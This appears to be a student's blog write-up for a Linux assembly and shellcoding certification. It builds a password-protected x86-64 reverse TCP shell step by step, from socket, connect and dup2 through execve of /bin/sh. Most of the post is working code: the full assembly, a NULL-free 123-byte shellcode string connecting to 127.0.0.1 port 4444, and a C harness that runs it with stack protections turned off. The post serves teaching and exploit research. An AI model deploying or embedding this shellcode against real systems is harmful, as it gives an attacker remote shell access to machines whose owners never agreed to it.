My Repo

Notes, Code, and Others


Project maintained by galminyana Hosted on GitHub Pages — Theme by mattgraham

Assignment #2: Shell_Reverse_TCP



Introduction


Requirements for this assignment, are to create a Shell_Bind_TCP shellcode that:

To build the shellcode, linux sockets are required to implement the following steps:

  1. Create a socket
  2. Reverse connect
  3. Ask, read, and validate the password
  4. Duplicate SDTIN, STDOUT and STDERR to the socket
  5. Execute /bin/sh

As in the previous assignment, the program will exit with a Segmentation Fault if the password is incorrect.

For Linux Sockets Programming, the following System calls are required on this assignment:

int socket(int domain, int type, int protocol); 
int connect(sock, (struct sockaddr *)&server, sockaddr_len);
int close(int sockfd); 

To duplicate the standard input, output and error, sys_dup2 call will be used:

int dup2(int oldfd, int newfd); 

And to execute /bin/sh, will use sys_execve:

int execve(const char *filename, char *const argv[],  char *const envp[]);

ASM Implementation


Will explain how we implement each step mentioned before into ASM code, with the idea to make the code easy to understand. As in the previous assignment, no enphasys has been put into removing NULLs and make the shellcode small (this is done later). This time, implementation will be easier than the previous assignment as the number of syscalls is reduced for being a reverse shell.

Create Socket

; sock = socket(AF_INET, SOCK_STREAM, 0) 
mov rax, 41                     ; syscall number 
mov rdi, AF_INET                ; IPv4 
mov rsi, SOCK_STREAM            ; TCP connection 
mov rdx, 0                      ; IP Protocol 
syscall 

; Save the socket_id value in RDI for future use 
mov rdi, rax                    ; value returned in RAX by syscall 

Opens the socket. To execute the sys_socket call, the arguments will have to be placed in the corresponding registers:

The syscall will return a file descriptor in RAX, that is saved into RDI. This saves the socket descriptor for later use in the code.

Connect Back

The following call is the one being to be used:

int  connect(int  sockfd, const struct sockaddr *serv_addr, socklen_t addrlen); 

For this assignment, registers will get the following values:

First is to build the struct with the required data. This is done using the stack in the following code:

; Prepare the struct for connect 
;     server.sin_family = AF_INET 
;     server.sin_port = htons(PORT) 
;     server.sin_addr.s_addr = inet_addr("127.0.0.1") 
;     bzero(&server.sin_zero, 8) 

xor rax, rax 
push rax                                ; bzero 

mov dword [rsp-4], 0x0100007f           ; Inet addr == 127.0.0.1 
mov word [rsp-6], 0x5c11                ; Port 4444 
mov word [rsp-8], 0x2                   ; TCP Connection 
sub rsp, 8                              ; Update RSP value 

The legth of this struct is a total of 16 bytes, and the address to the struct is in RSP.

Next step is do the call to sys_connect, placing RSP into RSI to point to the sockaddr struct, RDI already will have the socket descriptor id from before, and RDX the value “16” that’s the length of the struct:

; connect(sock, (struct sockaddr *)&server, sockaddr_len) 

mov rax, 42                             ; Syscall number for connect() 
mov rsi, rsp                            ; & struct 
mov rdx, 16                             ; Struct length 
syscall 

Duplicate to Socket Descriptor

Now is time to duplicate stdin, stdout and stderr to the socket descriptor. This is done in the following code, pretty much the same as the previous assignment:

        ; duplicate sockets 
        ; dup2 (new, old) 

        mov rax, 33 
        mov rsi, 0 
        syscall 

        mov rax, 33 
        mov rsi, 1 
        syscall 

        mov rax, 33 
        mov rsi, 2 
        syscall 

Password Stuff

The code for the password stuff is the same as in the Assignment #1. A “Passwd: “ prompt is shown, and a password max of 8 characters is received from the user input. This input is compared to the hardcoded password, and if equals the program continues, else, the program exits with a segmentation fault.

write_syscall: 

        mov rax, 1                              ; Syscall number for write() 
        mov rdi, r9 
        lea rsi, [rel PASSWD_PROMPT]            ; Rel addressing to prompt 
        mov rdx, 8                              ; Length of PAsswd: string 
        syscall 

read_syscall: 

        xor rax, rax                            ; Syscall number for read() 
        mov rdi, r9 
        mov rsi, [rel PASSWD_INPUT]             ; Where to store the input passwd 
        mov rdx, 8                              ; Chars to read 
        syscall 

compare_passwords: 

        mov rax, "12345678"                     ; Thgis is the password 
        lea rdi, [rel PASSWD_INPUT]             ; Compare the QWord 
        scasq 
        jne exit_program                        ; Passwords don't match, exit 

The Shell with Execve

Last step is to execute /bin/sh. Stack technique is used to store the string /bin//sh and the length of the string:

execve_syscall: 

        ; First NULL push 
        xor rax, rax 
        push rax 

        ; push /bin//sh in reverse 
        mov rbx, 0x68732f2f6e69622f 
        push rbx 

        ; store /bin//sh address in RDI 
        mov rdi, rsp 

        ; Second NULL push 
        push rax 

        ; set RDX 
        mov rdx, rsp 

        ; Push address of /bin//sh 
        push rdi 

        ; set RSI 
        mov rsi, rsp 

        ; Call the Execve syscall 
        add rax, 59 
        syscall 

Putting All Together

The code for this first version of the Reverse Shell, can be found in the ReverseShell-ExecveStack on the GitHub Repo.

Let’s try the code compiling and linking it. Commands are:

SLAE64> nasm -f elf64 ReverseShell-ExecveStack.nasm -o ReverseShell-ExecveStack.o
SLAE64> ld -N ReverseShell-ExecveStack.o -o ReverseShell-ExecveStack

The -N option in the linker is needed, as the code access to memory positions in the .text section (code) instead .data section during the execution.

To test, a netcat listener needs to be opened. Now the program can be run, and in the netcat listener, will get the "Passwd: " prompt:

Like in the previous assignment, if the password is correct, the program continues. If password is incorrect, the program ends with a segmentation fault.

Remove NULLs and Reduce Shellcode Size


The final ASM code after the changes explained in this section, can be found at the ReverseShell-ExecveStack_V2.nasm file on the GitHub Repo.

The actual shellcode has several NULLs and a size of 223 bytes. With objdump, opcodes for the instructions are shown and can review the NULLs in the shellcode:

SLAE64> objdump -M intel -d ReverseShell-ExecveStack.o
ReverseShell-ExecveStack.o:     formato del fichero elf64-x86-64
Desensamblado de la sección .text:

0000000000000000 <_start>:
   0:	eb 10                	jmp    12 <real_start>

0000000000000012 <real_start>:
  12:	b8 29 00 00 00       	mov    eax,0x29
  17:	bf 02 00 00 00       	mov    edi,0x2
  1c:	be 01 00 00 00       	mov    esi,0x1
  21:	ba 00 00 00 00       	mov    edx,0x0
  26:	0f 05                	syscall 
  28:	48 89 c7             	mov    rdi,rax
  2b:	48 31 c0             	xor    rax,rax
  2e:	50                   	push   rax

objdump shows instructions that use NULLs. First step, is removing the NULLs replacing instructions by other instructions that do the same but not using NULLs. Some examples of how to remove NULLs are:

By checking with objdump that the NULLs have been removed, next step is to reduce the shellcode size. Some tricks are:

But still the shellcode size can be reduced, and can use more sophisticated techniques to even reduce it more. Original code is using Relative Addressing for the Password Stuff. This technique forces the use of 16 bytes just to store the strings (as they are in the code section of the program), and to use lea instruction, with a opcode that uses 7 bytes. For this, the Stack Technique is going to be used for the Password Stuff, to replace Relative Addressing. Just like did in previous assignment.

With all the job done, the shellcode is generated with the one liner command for objdump:

SLAE64>echo “\"$(objdump -d ReverseShell-ExecveStack_V2.o | grep '[0-9a-f]:' | 
              cut -d$'\t' -f2 | grep -v 'file' | tr -d " \n" | sed 's/../\\x&/g')\""" 
              
"\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x99\x0f\x05\x50\x5f\x52\x68\x7f\x01\x01\x01\x66\x68
\x11\x5c\x66\x6a\x02\x6a\x2a\x58\x54\x5e\x6a\x10\x5a\x0f\x05\x6a\x02\x5e\x6a\x21\x58\x0f
\x05\x48\xff\xce\x79\xf6\x6a\x01\x58\x49\xb9\x50\x61\x73\x73\x77\x64\x3a\x20\x41\x51\x54
\x5e\x6a\x08\x5a\x0f\x05\x48\x31\xc0\x48\x83\xc6\x08\x0f\x05\x48\xb8\x31\x32\x33\x34\x35
\x36\x37\x38\x56\x5f\x48\xaf\x75\x1a\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f
\x73\x68\x53\x54\x5f\x52\x54\x5a\x57\x54\x5e\x0f\x05"

SLAE64> 

This shellcode could be more reduced, removing the stuff to print the "Passwd: " prompt. sys_close haven’t been used in this assignment. But with the reduction to 123 bytes is good enought.

Executing Final Shellcode


To test the shellcode, the shellcode.c template is used:

#include <stdio.h>
#include <string.h>

unsigned char code[]= \
"";

void main()
{
        printf("ShellCode Lenght: %d\n", strlen(code));
        int (*ret)() = (int(*)())code;
        ret();
}

To use it, the generated shellcode has to be placed in the unsigned char code[] string:

#include <stdio.h>
#include <string.h>

unsigned char code[]= \
"\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x99\x0f\x05\x50\x5f\x52\x68\x7f\x01\x01\x01\x66\x68"
"\x11\x5c\x66\x6a\x02\x6a\x2a\x58\x54\x5e\x6a\x10\x5a\x0f\x05\x6a\x02\x5e\x6a\x21\x58\x0f"
"\x05\x48\xff\xce\x79\xf6\x6a\x01\x58\x49\xb9\x50\x61\x73\x73\x77\x64\x3a\x20\x41\x51\x54"
"\x5e\x6a\x08\x5a\x0f\x05\x48\x31\xc0\x48\x83\xc6\x08\x0f\x05\x48\xb8\x31\x32\x33\x34\x35"
"\x36\x37\x38\x56\x5f\x48\xaf\x75\x1a\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f"
"\x73\x68\x53\x54\x5f\x52\x54\x5a\x57\x54\x5e\x0f\x05";

void main()
{
        printf("ShellCode Lenght: %d\n", strlen(code));
        int (*ret)() = (int(*)())code;
        ret();
}

Now the code can be compiled with gcc, using the -fno-stack-protector and -z execstack options:

gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

The shellcode can be executed. A netcat listener is opened in one terminal, while in another terminal, ./shellcode is run. Everything works as expected, as per the screenshot:

GitHub Repo Files ena ExploitDB Submission


The GitHub Repo for this assignment contains the following files:

This shellcode has been published at Exploit-DB, at https://www.exploit-db.com/shellcodes/49442

The End

This pages have been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html

Student ID: PA-14628